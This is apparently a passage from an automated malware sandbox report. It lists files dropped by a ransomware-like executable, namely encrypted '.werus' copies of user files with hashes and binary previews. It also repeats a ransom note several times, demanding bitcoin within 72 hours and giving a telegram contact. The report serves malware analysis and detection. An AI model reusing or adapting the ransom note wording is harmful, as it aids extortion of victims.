........B..R...t.0`.0v..#..$.q.n..v..3...H.l)ph...KQs8......H....s.n..#.N..m6...3.wb/..z.GHFe-...J....%.......%.2.....6.......g...q...O'..f..3.kLb.&...[A......\|.R..9.....h..@6..3...z.<..g.........2....d.).%Pm.]n<h.....}`....p..6.........i+N.....=O....gfA.. TN....W...[.S...-....rG.._o..;.E..._.o....[..s.\|p....=.....zy...L.G.=.....]............$&K,.~]q;...?WC@...Y.....o..,.

C:\Users\user\Desktop\GRXZDKKVDB\EIVQSAOTAQ.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.794179227090859
Encrypted:	false
SSDEEP:	24:hG5WlvByrhqL3h3LyXNtHlHoM6ltSukA/n5K8PA6x94m7VlO2:8E2ALZyFHgbNkq4I02
MD5:	24C5BC94343E363D833DAEDEC1DB9AD3
SHA1:	FE51772B474BED28B31A894CEEE32ADE2DCCC4FD
SHA-256:	27D930E8EF3B82CBFAECEC1FF15215B4D391F0B21264C393BC53F793A8F8585A
SHA-512:	CD347224EDC054737CBB1A76EE09212F6304889D76C29113375B5953D7783C16E09370C000550E750A408EAD538D4BAFBD9FB472206A312C7135A5E346E9DB14
Malicious:	false
Preview:	.._7....vl..j.4m..9..}9P...1..e.....t3.......~.Y5[1..Z....9@.X.j.p1.oCwt.N:~&&....<..J2.@..v..=.=....&6.....z..A#..Tq.>C.Bc.B.2$...'..c.....).@..D...@...(.....7D..7..5.Uw=.s'vl.z..@......_m.N.e..k.....'7..........kZ....7<.A.).#\|.\|..E......q..._A..~P.....+.H...s..1-......NfR...e`.X......f...D..WKC0...j...8..^..%....r.Uy3.qK..J_...Q...u~GHNF7F.V.....j+......R......e.F8...x.&H.n.+.F/.W.c....[H..upYt....)9#.`..d.]r...`..;.n..S..........g.K].J}..I.)...+...u...&..?4Q&r.dKyM..N...f..B.l..p.....S`..ba`V.Y.w...5......f.......J...W....cn?..8....f......]E@..+....[......D>.6.w)'M`k./h..P.z.6.LO......i...v>op..%..^g..0.N......."\|0dV...)....Q.....F.8.h.=..$8...nT.\.O..q*.q.C..p...agX.Y......-.A5...K.A8.C..[K.7.k%.P.Ln..\|..9Y.6....w../.9.H{.\|...N.j.E.li.C.r\&3==.....@.._....E..._.Z.d...q......`.......<...;.C.5k.r^..J2.......[..t.#.8...c"<... ..'z...(v...OfC..#^..X...w.."..}.^9..6..sw..Y.E.O.a.}....c.~=...G.?.......i.."Y.E...f{..9e.........

C:\Users\user\Desktop\GRXZDKKVDB\EOWRVPQCCS.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.816738898950369
Encrypted:	false
SSDEEP:	24:VujwIdjZR+386UdwVG/vxMJl6grUYiXQqG09Un/jQz3J6U:kjDWsx/6JFriXQqG02n/jC3Jx
MD5:	CF80219882C59B15B3D46D44FC48DCC1
SHA1:	CC5ABC5E3344B6A1304EC6472DCC30EF5B15BE88
SHA-256:	0D0DEFB01D5B0FDACDDA8B8344B9BD0DF6069F75BD574C6940270AFA27F611BA
SHA-512:	A10B7BCF2F0030F4E1454101891123FC427A0E0D3B0682C71E25B13BAB88F7C8D72B7F046B02C784B3496321199E4079BC38D9E59F611BD0BFF0E70DD42B9A2E
Malicious:	false
Preview:	s..]..E..W'...M.-..a1.9...;...~.V,&.g......FF>.T..ap6..;......OEH.T\L"...>.t3-y.>z....$j7......B.Wn....x......T....o.v.A...4t]o...CveOb.q...2....3nTm....U.R.!-.d.E..[,B.K...%!.....5(..W..%F.t+i..2..{i..#.....,...".W..$...~98..Zg3P....W...>{+py.v.~bjd....L)g..D..e....rrX.y..^.h./i(...)d..... e~..>.Q.'...,/J...W..+_.5.UI.........\|.v..NY..<.y.u..+..m......R.kc.....AQ,.[d. .gp. ..)P..k.<......\..^..B..uV.G.R.1..,.......zp.))(.......Y...F........s.......@...`.m....."f[T.`.{..e.....U.....C..{[.T.H?.?...~@./.....'5"........4...G.o...Wn..)........Q....e......h.Q...Z...+.P8V.P..7.E..d...+.I......N.oE.`.n......1.rd@.d.L....z...S..?...J.i.2....).@..v.-.q..uc.......g. x.5+...K.p.........#.....&..sJ....OZ.g.z...$4.:.1J./G....,Z......?N.>E...........12$0.\..^......p..jR..{uH..$V-M.....\|v..PI..C....Hwk.o...4..)Y....9.;..;.r.......)....\.a7..Jg.....s..V...H..A...*B..l.ij^1.....G..d$..{..A#Q..vB..N.Jt...3..x.t....Q.?,.RB.qf...#.p......;..hW...

C:\Users\user\Desktop\GRXZDKKVDB\GIGIYTFFYT.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.844326187672133
Encrypted:	false
SSDEEP:	24:N0WcPSPcnCIvN3Z0KAvcJxS8rDAogzWsq/6eG/O1A60wspYxrfV:WP8SN36XvYEoCWfqYA60VI
MD5:	2B794A3B87F1D2D9929712C391D7FF89
SHA1:	524F9C17EBBA80671A5DB7C26F01254CC48B245C
SHA-256:	3D324E968BB6605C81C234A3326B68D4226B742A88044EE28D8A9448DEDD195A
SHA-512:	77CB3BB39E49C59E583F33C4230E3B037E2B854F75CC9D7DA29E1999BB06B8A9FDB25D7CF05A15A8D21C2BE497407C6F09D7EEC9878D16A1C8B5E45C0AB14190
Malicious:	false
Preview:	....1!..j.Zi..<...q.=.J70.X.?a.... ~._..s.b.^....R)..0.fp.P;.Y..s...0ZR..b.k/.v...q..t......w..BB.H.3@mT..7.$....O....c^.`.>.N@Z..,.....w..i.{........I..@....k.H1.)1...0~.....jy5.......8..AE.T~......-..I$8.q..{ ..._...p_.P@7L.Nn.0q....P.%l...l.G.+.0.._NV..jz..f%].U.(.Q..Zv-.9.....f...x?.z.<W.}......;\|......e....>..^a...M...4!"....X..........(...Q$M......Y..../f.$...'.f...Ll...M..-L..F...../..Q6..V....@.V......$..l...?@...\.s...xa..@.4....+rQ..fE..V?....(....Hr..p.r,0(z.4..t.Tx...!J.......opS..vyf../..>(h.<O....Wj.....-..#...1.. d....zj#.e^...s}~S....L.s...n.....a..}w.)...b.0r.....t.a"O.. .UDs..8W....c..T...w....<...]C3...G..U.T.?.mjY.B..q.w..Ac.G..../.]...u..z..!u....x...])KM"!^...!....&..J..D... ...2+Q.C(...m..O!...}\..3.....ur.v.z,5vG\.o.qJ..@..!].o.>Z.$h..@..wo.L...~s.g(k....Xz....J>.....5H.$4......e...J<.s9..%0.P.....y..dw..@......SF...t.I........%@4$... .".b4.l.M...U=.f...kPYr.T.....k.Z>......O.u. ..!_c.......T...]1...2.

C:\Users\user\Desktop\GRXZDKKVDB\GRXZDKKVDB.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.809568908474834
Encrypted:	false
SSDEEP:	24:qhxkN4mozVeTty7bMLc7l0cYsL+DzY3LHKeq5:qhiN4moxqy3+ch0C+I3C
MD5:	8466B313D46E73041F55BCE03DCE16FE
SHA1:	A445FAE6BBD416AE38E637CF5AA8E75942947DE4
SHA-256:	438F9FFF21A589728EC5A82DFE462B4597AA662A416629E4CA70DC0D66E6A42F
SHA-512:	122D11A41A95FA95CBB8B5CABF49B4E9A06F103C7689B06FC2A320980A752D364B4E1AEF89B986329966A0899A8965E4828D3384DC87E4A562A64EEC9AC42F6C
Malicious:	false
Preview:	$x7........_<...Y&H5ys%.(....tzd.....c.p.........v.....Z...!My..;....P.?F...\|K.m.{.........m.97P.sc.5.......~...qb..B..B.......J...Hv....<..7........i){..9..\|..E.gD..t.1.d...%.@...g...Y.J%.....z.x6.a.%........&...=.Z...fG.0...[..R.O.x.ba~C.0.....?M}.^z....bi.17..k.L..C..Ys.<..;...~t....q].......#U..@...E..R`s9;._.9'....\~.g.k..2.Z#&Mi..!......}3h....6.....)...[j..U.....K....h[..l..\|..^.u....Ub..$..Xw.....O."6..y..Lic.{5._b....5W%0.A..UDo.R...4...B...z..\bL ....a.H.I.#.nMxwz.N.t.+^...Z`..A......3..\Y>.eo.....y.M.@R.PP.P.VbS.....8..H.T....'._....5._D.4<.;p(3.t..K. ........B..R...t.0`.0v..#..$.q.n..v..3...H.l)ph...KQs8......H....s.n..#.N..m6...3.wb/..z.GHFe-...J....%.......%.2.....6.......g...q...O'..f..3.kLb.&...[A......\|.R..9.....h..@6..3...z.<..g.........2....d.).%Pm.]n<h.....}`....p..6.........i+N.....=O....gfA.. TN....W...[.S...-....rG.._o..;.E..._.o....[..s.\|p....=.....zy...L.G.=.....]............$&K,.~]q;...?WC@...Y.....o..,.

C:\Users\user\Desktop\GRXZDKKVDB\PALRGUCVEH.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.840208669079804
Encrypted:	false
SSDEEP:	24:KuPGlJl/s4OiqAER8SFP2nmJD+m6EUS5iY40OJ4+AJ8fwS:KuS/zOihO4oD+FEUS5iDK84S
MD5:	BE61D2C566E7CBC0C0286D1FB200BB6D
SHA1:	6F95B797824736D8FF6312531E8C62BD08F901C2
SHA-256:	B9EFCC9572840D287BD955DAC9C24B96A8C285FB2B9EB261F0A9DD5211C983D9
SHA-512:	B133A35C5046180AE5E5F0777FC687E70591F240A518AB63B04F25624C1201C9183B8957FF976F5D1560C0F18E02E56AAD7698450F6FF9075CE3589479EC474D
Malicious:	false
Preview:	.x..u.O9p..i.Q48,q...K....!+1...]Z,^=.w.0.^.>H.j.V..H.eE..}..c.`.m~.C.....B....k.5(.X./.i...+..Ni.SO.VQ...[."j.C._. a2....{...n.n.&..u.e...C2.k.T..=..#-.O..R...7..@.B...rC.....^...e$.W...(l.."..,..)h.).,+.o._...../.5..2Z.V.U.w/L...n......)f.%uz....}...Q..)]....=.S..,.`....M.[a..oX.....T$.q.....Z.tf8...?F..->...q.k...(...Z......UNZ.l...IDq.c.U..'e.}~..9l.uN.z#.....t..G{...P..e.....[..?g...Q..l....[9....c..a~......r....H.v...kc6.e..,?.... G0.x 3....w.#...h.._b.....8..A...d....r$...O.\|n+Fe.....Y6s..K[BH=....s!.;.D....Eub.d..\......y..c.z(.%J/(....U\c.{.a.L)b.J3..-.rcY.$..d.....(...]L2....wn..WT.J.n...0c.BY_.....&.8.H..q4._.2/=.d...m.nvfZ.4{....K.).8......p......%.t..Cc.....u...W....j"C....H.\..7....G...;.U......u....$..* ...;z.w.q.f..~n.......^.*.e..']..$;/........{.~..(..+k...,F.tX.7...f<$S.lDd.Q(=..P2.,wm.0.\|..}r}..w.}...v...l...-..c.?#......v..!W.=..NOs...g.5...I.8a.c\..}......./]H+.Z.. .r....9\..R...Py...@U..ZI@:......<.[.S..u..

C:\Users\user\Desktop\GRXZDKKVDB\TQDFJHPUIU.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.811017022250843
Encrypted:	false
SSDEEP:	24:jKBQmHFqSKY6CDZZYnZTg2+4YiPvHl+h1sRFbaIlDFBbWMLu0P:jKmOYEZYnRgZ4vYh1SFba8DFd
MD5:	6F5F7E717BBAD7C6ED813BCC37B2C01A
SHA1:	83C661847BC49F37597452A814D0CF6C9B4E37A7
SHA-256:	30494E4972ED13078A9AA1BDE97B5E391A7E17174A406E6C4D3FA85B767FA896
SHA-512:	C44D5A7912D5789625CF92B8555D01E38128D206ECC17B71015D2BD30981B07AA66B29A57E779B308A66AE1772E85FA5447398FA05553EDD43ECA9163850514D
Malicious:	false
Preview:	,..I.. ..?.6..]..{.}h..C8....D...+.V...x.Cx'.@..ZrH..a.b\o......~.....;.-f.Q(...2.....o..Q.....&.X.'..n.5...w.u.%.yqU.v../@.>....!Y..h....0....X.U.o...8xh../..E%...~.^.c./...S.mn~...>..o..(.].+..}=../P...ze-+..ab ..3&%..9$MU....!......t-q..5...s(...e..L...h/fB...\|.....w..'.f.....H....xJ.b....Gl6Ee...J.3...^......6or..j\|!...l...!.O. .g...R1..w..O.T.R....H.....j..0x.i...HZ...(.]....n...>.v..............{.g....g!.........@.SB1h....[.<7..#..D...u.ds9...N+.....3#.v.(....'.-7...U...Q}>9. 0......k.o.j..%.v..(i....Y.n.6......#a....%.m.`...G.e.D...@..9...{.2....t.6T...T.9...H....n.u.s.b....{:...kn).....{...?..g......wI.;...=..Cl<b.._=.S..z..%.K......})..;.Op.r{...[.7.._.(..{.L.k.....\|.T..IF.L.\|.T?uZ,....L&...q.!>.N..H..V.g.>f..\|._.....K*..z.JL.t[.cfX]..E.Q.RY....yO.............ui.d.,(..v.`.....m.n].....$.V0.S.`.d.D.r#I....e.1s...j......Xy._..w.."...sc.Q.S.rT.)v9=..#..,....s.o..\a...q.[..R..,fag;..p,Cc$.v.....x.\|.:..i..J.D.....j..H.lEn..Q.pf."..X.u

C:\Users\user\Desktop\NYMMPCEIMA.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.807938069631537
Encrypted:	false
SSDEEP:	24:h//cumcylhk2NIM0YHC9Vng+I3C1gSx3RsHR:5UumVQ2Nj7HC9Vg81Hsx
MD5:	E14C0B8329D4A99EE0B6A9055C4175B5
SHA1:	BCF38583620B915FDE3ED6EDA2ADBEA0C3AC63CA
SHA-256:	6172CC42D84C8E6995CE919F3414BEBD39FA9AB8474B68E880E975B7FF074194
SHA-512:	C8315AC1E30C952FDBE7A81F863288C92FF74851FFF01F83109F36CEEB0B10D80AACBEB2F378BC0B49E5D12705E1AB07C0173814888FE6643B5264C6F750AD01
Malicious:	false
Preview:	....m...>..].@l."..:...r+....e@.1J=3..D.../l[... /C.\.......w...^.......@%.Y.-`.rX...=.......f..5..7....\|..\.'....-...2.d.a:.B.gv.I...s./...........h.s... O.}B.p/...(B..yd....)b.T-...ydC...{.}`zM...A.0...LL..l..<+.m0.c.....D...#.[ .\|>.........D.gJ..u}0o0..........z.d.b.(Q....;..M;.?S.'b........i.O.J.....^.....N.9.%..-5....aX..B.K.[e...(..{..zH.U.#.b....5..xn..'.......<'.y.<2.8=..&K...'.....HLLLG.....E.....7..K..!.33.m.g.0<...e.......m-.n..vV/..t8.8G...b.........q....P..=...D'..xRk~.=.~.\v..1..2.}gO..n.;E.t..Z/]..Y.....?...t.SA..\|...D.SB.N.iq...f]...bx..d....X.y..z..e...........~d...>...cx...6......]@../nDTJ.C.H.I.O..[YB..\|XT.ZA.y.Y..3..K..".=.....3>... _.,....(`.I^P3+...\|.gc<..~..zg........@w..8.q.......YZ.........?.V.SaL+h........\m..]=.....4....c......=..K..;....U..-...p...Y.yj..JFx....AJ.i1N..-.r_)...J.....>L._../.lw0..r..[2.>..h..-oQn........?.. .&q...h....U..a.@.......d...1.J`k..E...M.m.....K......G...Hx.@....B.%..Q^*.L.3-T}...@

C:\Users\user\Desktop\PALRGUCVEH.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.840208669079804
Encrypted:	false
SSDEEP:	24:KuPGlJl/s4OiqAER8SFP2nmJD+m6EUS5iY40OJ4+AJ8fwS:KuS/zOihO4oD+FEUS5iDK84S
MD5:	BE61D2C566E7CBC0C0286D1FB200BB6D
SHA1:	6F95B797824736D8FF6312531E8C62BD08F901C2
SHA-256:	B9EFCC9572840D287BD955DAC9C24B96A8C285FB2B9EB261F0A9DD5211C983D9
SHA-512:	B133A35C5046180AE5E5F0777FC687E70591F240A518AB63B04F25624C1201C9183B8957FF976F5D1560C0F18E02E56AAD7698450F6FF9075CE3589479EC474D
Malicious:	false
Preview:	.x..u.O9p..i.Q48,q...K....!+1...]Z,^=.w.0.^.>H.j.V..H.eE..}..c.`.m~.C.....B....k.5(.X./.i...+..Ni.SO.VQ...[."j.C._. a2....{...n.n.&..u.e...C2.k.T..=..#-.O..R...7..@.B...rC.....^...e$.W...(l.."..,..)h.).,+.o._...../.5..2Z.V.U.w/L...n......)f.%uz....}...Q..)]....=.S..,.`....M.[a..oX.....T$.q.....Z.tf8...?F..->...q.k...(...Z......UNZ.l...IDq.c.U..'e.}~..9l.uN.z#.....t..G{...P..e.....[..?g...Q..l....[9....c..a~......r....H.v...kc6.e..,?.... G0.x 3....w.#...h.._b.....8..A...d....r$...O.\|n+Fe.....Y6s..K[BH=....s!.;.D....Eub.d..\......y..c.z(.%J/(....U\c.{.a.L)b.J3..-.rcY.$..d.....(...]L2....wn..WT.J.n...0c.BY_.....&.8.H..q4._.2/=.d...m.nvfZ.4{....K.).8......p......%.t..Cc.....u...W....j"C....H.\..7....G...;.U......u....$..* ...;z.w.q.f..~n.......^.*.e..']..$;/........{.~..(..+k...,F.tX.7...f<$S.lDd.Q(=..P2.,wm.0.\|..}r}..w.}...v...l...-..c.?#......v..!W.=..NOs...g.5...I.8a.c\..}......./]H+.Z.. .r....9\..R...Py...@U..ZI@:......<.[.S..u..

C:\Users\user\Desktop\PALRGUCVEH.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.840208669079804
Encrypted:	false
SSDEEP:	24:KuPGlJl/s4OiqAER8SFP2nmJD+m6EUS5iY40OJ4+AJ8fwS:KuS/zOihO4oD+FEUS5iDK84S
MD5:	BE61D2C566E7CBC0C0286D1FB200BB6D
SHA1:	6F95B797824736D8FF6312531E8C62BD08F901C2
SHA-256:	B9EFCC9572840D287BD955DAC9C24B96A8C285FB2B9EB261F0A9DD5211C983D9
SHA-512:	B133A35C5046180AE5E5F0777FC687E70591F240A518AB63B04F25624C1201C9183B8957FF976F5D1560C0F18E02E56AAD7698450F6FF9075CE3589479EC474D
Malicious:	false
Preview:	.x..u.O9p..i.Q48,q...K....!+1...]Z,^=.w.0.^.>H.j.V..H.eE..}..c.`.m~.C.....B....k.5(.X./.i...+..Ni.SO.VQ...[."j.C._. a2....{...n.n.&..u.e...C2.k.T..=..#-.O..R...7..@.B...rC.....^...e$.W...(l.."..,..)h.).,+.o._...../.5..2Z.V.U.w/L...n......)f.%uz....}...Q..)]....=.S..,.`....M.[a..oX.....T$.q.....Z.tf8...?F..->...q.k...(...Z......UNZ.l...IDq.c.U..'e.}~..9l.uN.z#.....t..G{...P..e.....[..?g...Q..l....[9....c..a~......r....H.v...kc6.e..,?.... G0.x 3....w.#...h.._b.....8..A...d....r$...O.\|n+Fe.....Y6s..K[BH=....s!.;.D....Eub.d..\......y..c.z(.%J/(....U\c.{.a.L)b.J3..-.rcY.$..d.....(...]L2....wn..WT.J.n...0c.BY_.....&.8.H..q4._.2/=.d...m.nvfZ.4{....K.).8......p......%.t..Cc.....u...W....j"C....H.\..7....G...;.U......u....$..* ...;z.w.q.f..~n.......^.*.e..']..$;/........{.~..(..+k...,F.tX.7...f<$S.lDd.Q(=..P2.,wm.0.\|..}r}..w.}...v...l...-..c.?#......v..!W.=..NOs...g.5...I.8a.c\..}......./]H+.Z.. .r....9\..R...Py...@U..ZI@:......<.[.S..u..

C:\Users\user\Desktop\Readme_74085fb5-dd20-4120-a9b1-4a9edcda13a9_1.txt

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	384
Entropy (8bit):	5.114528396407396
Encrypted:	false
SSDEEP:	6:dx2ckY07CX2mCLccmj93BVF35vDFEoeLTkDAAIC4HCbOFCc3C7pQvGQVA5:daxanm0VpvD2DLTKAVixyvGQe5
MD5:	66124F03F549F87D52B40CA72EC6E25C
SHA1:	4309FC3C6211F7CA5A47D8F752402358474686F2
SHA-256:	D9F3F8E21E82B9EF30F65C9AEAC1102CFB1CF7ED292EC22F967B301C99729421
SHA-512:	06C53AB21D1BFA97F3C76DA03D567D147CB6E5D9972DD6BBCC0E5F5A8B7CB3D22E41607C15A42E8C285129B0A7F84FD1A48F7B0575937358E4D0DB7FBED7BC28
Malicious:	true
Preview:	ID: 74085fb5-dd20-4120-a9b1-4a9edcda13a9..Your files have been encrypted!..To recover your data, please transfer 0.5 bitcoins to the following address: 1A2B3C4D5E6F7G8H9I0J1K2L3M4N4N4N5O6P7...The payment deadline is 72 hours. After that, your files will be destroyed. Do not attempt to recover your files yourself..instructions in the file Readme_@.txt..contact via telegram: @aboba..

C:\Users\user\Desktop\Readme_74085fb5-dd20-4120-a9b1-4a9edcda13a9_2.txt

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	384
Entropy (8bit):	5.114528396407396
Encrypted:	false
SSDEEP:	6:dx2ckY07CX2mCLccmj93BVF35vDFEoeLTkDAAIC4HCbOFCc3C7pQvGQVA5:daxanm0VpvD2DLTKAVixyvGQe5
MD5:	66124F03F549F87D52B40CA72EC6E25C
SHA1:	4309FC3C6211F7CA5A47D8F752402358474686F2
SHA-256:	D9F3F8E21E82B9EF30F65C9AEAC1102CFB1CF7ED292EC22F967B301C99729421
SHA-512:	06C53AB21D1BFA97F3C76DA03D567D147CB6E5D9972DD6BBCC0E5F5A8B7CB3D22E41607C15A42E8C285129B0A7F84FD1A48F7B0575937358E4D0DB7FBED7BC28
Malicious:	true
Preview:	ID: 74085fb5-dd20-4120-a9b1-4a9edcda13a9..Your files have been encrypted!..To recover your data, please transfer 0.5 bitcoins to the following address: 1A2B3C4D5E6F7G8H9I0J1K2L3M4N4N4N5O6P7...The payment deadline is 72 hours. After that, your files will be destroyed. Do not attempt to recover your files yourself..instructions in the file Readme_@.txt..contact via telegram: @aboba..

C:\Users\user\Desktop\Readme_74085fb5-dd20-4120-a9b1-4a9edcda13a9_3.txt

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	384
Entropy (8bit):	5.114528396407396
Encrypted:	false
SSDEEP:	6:dx2ckY07CX2mCLccmj93BVF35vDFEoeLTkDAAIC4HCbOFCc3C7pQvGQVA5:daxanm0VpvD2DLTKAVixyvGQe5
MD5:	66124F03F549F87D52B40CA72EC6E25C
SHA1:	4309FC3C6211F7CA5A47D8F752402358474686F2
SHA-256:	D9F3F8E21E82B9EF30F65C9AEAC1102CFB1CF7ED292EC22F967B301C99729421
SHA-512:	06C53AB21D1BFA97F3C76DA03D567D147CB6E5D9972DD6BBCC0E5F5A8B7CB3D22E41607C15A42E8C285129B0A7F84FD1A48F7B0575937358E4D0DB7FBED7BC28
Malicious:	true
Preview:	ID: 74085fb5-dd20-4120-a9b1-4a9edcda13a9..Your files have been encrypted!..To recover your data, please transfer 0.5 bitcoins to the following address: 1A2B3C4D5E6F7G8H9I0J1K2L3M4N4N4N5O6P7...The payment deadline is 72 hours. After that, your files will be destroyed. Do not attempt to recover your files yourself..instructions in the file Readme_@.txt..contact via telegram: @aboba..

C:\Users\user\Desktop\Readme_74085fb5-dd20-4120-a9b1-4a9edcda13a9_4.txt

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	384
Entropy (8bit):	5.114528396407396
Encrypted:	false
SSDEEP:	6:dx2ckY07CX2mCLccmj93BVF35vDFEoeLTkDAAIC4HCbOFCc3C7pQvGQVA5:daxanm0VpvD2DLTKAVixyvGQe5
MD5:	66124F03F549F87D52B40CA72EC6E25C
SHA1:	4309FC3C6211F7CA5A47D8F752402358474686F2
SHA-256:	D9F3F8E21E82B9EF30F65C9AEAC1102CFB1CF7ED292EC22F967B301C99729421
SHA-512:	06C53AB21D1BFA97F3C76DA03D567D147CB6E5D9972DD6BBCC0E5F5A8B7CB3D22E41607C15A42E8C285129B0A7F84FD1A48F7B0575937358E4D0DB7FBED7BC28
Malicious:	true
Preview:	ID: 74085fb5-dd20-4120-a9b1-4a9edcda13a9..Your files have been encrypted!..To recover your data, please transfer 0.5 bitcoins to the following address: 1A2B3C4D5E6F7G8H9I0J1K2L3M4N4N4N5O6P7...The payment deadline is 72 hours. After that, your files will be destroyed. Do not attempt to recover your files yourself..instructions in the file Readme_@.txt..contact via telegram: @aboba..

C:\Users\user\Desktop\Readme_74085fb5-dd20-4120-a9b1-4a9edcda13a9_5.txt

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	384
Entropy (8bit):	5.114528396407396
Encrypted:	false
SSDEEP:	6:dx2ckY07CX2mCLccmj93BVF35vDFEoeLTkDAAIC4HCbOFCc3C7pQvGQVA5:daxanm0VpvD2DLTKAVixyvGQe5
MD5:	66124F03F549F87D52B40CA72EC6E25C
SHA1:	4309FC3C6211F7CA5A47D8F752402358474686F2
SHA-256:	D9F3F8E21E82B9EF30F65C9AEAC1102CFB1CF7ED292EC22F967B301C99729421
SHA-512:	06C53AB21D1BFA97F3C76DA03D567D147CB6E5D9972DD6BBCC0E5F5A8B7CB3D22E41607C15A42E8C285129B0A7F84FD1A48F7B0575937358E4D0DB7FBED7BC28
Malicious:	true
Preview:	ID: 74085fb5-dd20-4120-a9b1-4a9edcda13a9..Your files have been encrypted!..To recover your data, please transfer 0.5 bitcoins to the following address: 1A2B3C4D5E6F7G8H9I0J1K2L3M4N4N4N5O6P7...The payment deadline is 72 hours. After that, your files will be destroyed. Do not attempt to recover your files yourself..instructions in the file Readme_@.txt..contact via telegram: @aboba..

C:\Users\user\Desktop\TQDFJHPUIU.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.811017022250843
Encrypted:	false
SSDEEP:	24:jKBQmHFqSKY6CDZZYnZTg2+4YiPvHl+h1sRFbaIlDFBbWMLu0P:jKmOYEZYnRgZ4vYh1SFba8DFd
MD5:	6F5F7E717BBAD7C6ED813BCC37B2C01A
SHA1:	83C661847BC49F37597452A814D0CF6C9B4E37A7
SHA-256:	30494E4972ED13078A9AA1BDE97B5E391A7E17174A406E6C4D3FA85B767FA896
SHA-512:	C44D5A7912D5789625CF92B8555D01E38128D206ECC17B71015D2BD30981B07AA66B29A57E779B308A66AE1772E85FA5447398FA05553EDD43ECA9163850514D
Malicious:	false
Preview:	,..I.. ..?.6..]..{.}h..C8....D...+.V...x.Cx'.@..ZrH..a.b\o......~.....;.-f.Q(...2.....o..Q.....&.X.'..n.5...w.u.%.yqU.v../@.>....!Y..h....0....X.U.o...8xh../..E%...~.^.c./...S.mn~...>..o..(.].+..}=../P...ze-+..ab ..3&%..9$MU....!......t-q..5...s(...e..L...h/fB...\|.....w..'.f.....H....xJ.b....Gl6Ee...J.3...^......6or..j\|!...l...!.O. .g...R1..w..O.T.R....H.....j..0x.i...HZ...(.]....n...>.v..............{.g....g!.........@.SB1h....[.<7..#..D...u.ds9...N+.....3#.v.(....'.-7...U...Q}>9. 0......k.o.j..%.v..(i....Y.n.6......#a....%.m.`...G.e.D...@..9...{.2....t.6T...T.9...H....n.u.s.b....{:...kn).....{...?..g......wI.;...=..Cl<b.._=.S..z..%.K......})..;.Op.r{...[.7.._.(..{.L.k.....\|.T..IF.L.\|.T?uZ,....L&...q.!>.N..H..V.g.>f..\|._.....K*..z.JL.t[.cfX]..E.Q.RY....yO.............ui.d.,(..v.`.....m.n].....$.V0.S.`.d.D.r#I....e.1s...j......Xy._..w.."...sc.Q.S.rT.)v9=..#..,....s.o..\a...q.[..R..,fag;..p,Cc$.v.....x.\|.:..i..J.D.....j..H.lEn..Q.pf."..X.u

C:\Users\user\Desktop\TQDFJHPUIU.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.811017022250843
Encrypted:	false
SSDEEP:	24:jKBQmHFqSKY6CDZZYnZTg2+4YiPvHl+h1sRFbaIlDFBbWMLu0P:jKmOYEZYnRgZ4vYh1SFba8DFd
MD5:	6F5F7E717BBAD7C6ED813BCC37B2C01A
SHA1:	83C661847BC49F37597452A814D0CF6C9B4E37A7
SHA-256:	30494E4972ED13078A9AA1BDE97B5E391A7E17174A406E6C4D3FA85B767FA896
SHA-512:	C44D5A7912D5789625CF92B8555D01E38128D206ECC17B71015D2BD30981B07AA66B29A57E779B308A66AE1772E85FA5447398FA05553EDD43ECA9163850514D
Malicious:	false
Preview:	,..I.. ..?.6..]..{.}h..C8....D...+.V...x.Cx'.@..ZrH..a.b\o......~.....;.-f.Q(...2.....o..Q.....&.X.'..n.5...w.u.%.yqU.v../@.>....!Y..h....0....X.U.o...8xh../..E%...~.^.c./...S.mn~...>..o..(.].+..}=../P...ze-+..ab ..3&%..9$MU....!......t-q..5...s(...e..L...h/fB...\|.....w..'.f.....H....xJ.b....Gl6Ee...J.3...^......6or..j\|!...l...!.O. .g...R1..w..O.T.R....H.....j..0x.i...HZ...(.]....n...>.v..............{.g....g!.........@.SB1h....[.<7..#..D...u.ds9...N+.....3#.v.(....'.-7...U...Q}>9. 